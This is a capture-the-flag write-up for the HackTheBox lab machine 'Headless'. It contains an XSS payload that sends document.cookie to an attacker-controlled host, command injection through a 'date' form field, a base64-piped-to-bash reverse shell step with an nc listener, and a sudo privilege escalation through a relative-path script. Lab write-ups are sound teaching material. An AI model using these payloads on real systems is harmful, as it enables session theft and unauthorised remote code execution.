Headless - HackTheBox
CTF Writeup for Headless from HackTheBox

Based on XSS and a short file path.
As usual, nmap: 22/tcp[SSH] and 5000/tcp[HTTP]. Linux.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open upnp? syn-ack ttl 63
Navigating to the 5000/tcp...

Looking into the JS, no callback events occur when timer reaches 0, just changes the text to say "Now Live!".
Enumerating around, there are no signs of any domains/subdomains, just the button on the index leading to '/support', lettuce check with ffuf..
support [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 65ms]
dashboard [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 68ms]
Interesting '/dashboard' page, lettuce go see this..

Upon checking the token within the 'is_admin' cookie, found the first segment was just "user", and second the signing. I tried changing it around a bit but led nowhere.
Lettuce now check the '/support' page found earlier.

Ok. With the token, dashboard and now this support page, I'm getting signals this is a XSS related box.
Seems a little too easy, I'll drop a simple XSS payload in the 'Message' box..
<img src=x onerror=this.src='http://<u-ip>:<u-pt>/?c='+btoa(document.cookie)>
The 'btoa()' makes it base64, little cleaner.

Well atleast now we know what headers and chars will be displayed..
I tested around with the fields, eventually placing the payload into the 'message' form and into a custom 'Test-Header' header. Eventually..

Now we can modify our browser's 'is_admin' token to the stolen Admin's token, then browse to the '/dashboard'...

Firstly, lettuce see what this form is submitting and try common payloads..
attacker@c2:~:$ curl -X POST http://10.10.11.8:5000/dashboard --cookie "is_admin=**********.********************-******" -d "date=2023-09-15; id"
> ... snip ...
> Systems are up and running!
> uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
> ... snip ...
Oh. I guess we can move on to a shell.
attacker@c2:~:$ curl -X POST http://10.10.11.8:5000/dashboard --cookie "is_admin=**********.********************-******" -d "date=2023-09-15; echo WW91UmVhbGx5VGhvdWdodElkU2hvd1NoaXRIZXJlICAK|base64 -d|bash"
Base64 encoded payload -> Base64 decode -> Executed by Bash
attacker@c2:~:$ nc -lvnp <u-pt2>
listening on [any] <u-pt2> ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.11.8] 5****
sh: 0: can't access tty; job control turned off
>$ id
>> uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
Shell received.
We have a shell.
Can collect the 'user.txt' flag now..
dvir@headless:~:$ cat ./user.txt
> ********************************
Time for privesc, lettuce first see if the mailman came..
dvir@headless:~:$ ls /var/mail
> dvir
dvir@headless:~:$ cat /var/mail/dvir
> Subject: Important Update: New System Check Script
>
> Hello!
>
> We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
>
> What's special for you?
> - You've been granted special privileges to use this script.
> - It will help identify and resolve system issues more efficiently.
> - It ensures that necessary updates are applied when needed.
>
> Rest assured, this script is at your disposal and won't affect your regular use of the system.
>
> If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
>
> By the way, we're still waiting on you to create the database initialization script!
> Best regards,
> Headless
To summarize..
- The user 'dvir' has special privileges (probably through Sudo).
- The user 'dvir' needs to write a database initialization script (?).
Okay, so this is probably the privesc.
dvir@headless:~:$ sudo -S -l
> Matching Defaults entries for dvir on headless:
> env_reset, mail_badpass,
> secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
> use_pty
>
> User dvir may run the following commands on headless:
> (ALL) NOPASSWD: /usr/bin/syscheck
Sudo privileges
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
... snip ...
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
/usr/bin/syscheck
There's the killshot './initdb.sh'. Moving into '/dev/shm' to make our script.
This little script doesn't need to be fancy, just enough to spawn a shell.
#!/bin/bash
bash -c '/bin/bash'
wow
Now to test our root privesc..
dvir@headless:/dev/shm:$ ls
> initdb.sh
dvir@headless:/dev/shm:$ sudo /usr/bin/syscheck
> Last Kernel Modification Time: 01/02/2024 10:05
> Available disk space: 1.9G
> System load average: 0.60, 0.33, 0.20
> Database service is not running. Starting it...
>$ id
>> uid=0(root) gid=0(root) groups=0(root)
Time to grab the 'root.txt'..
root@headless:~:# ls
> root.txt
root@headless:~:# cat root.txt
> ********************************
That's all :) .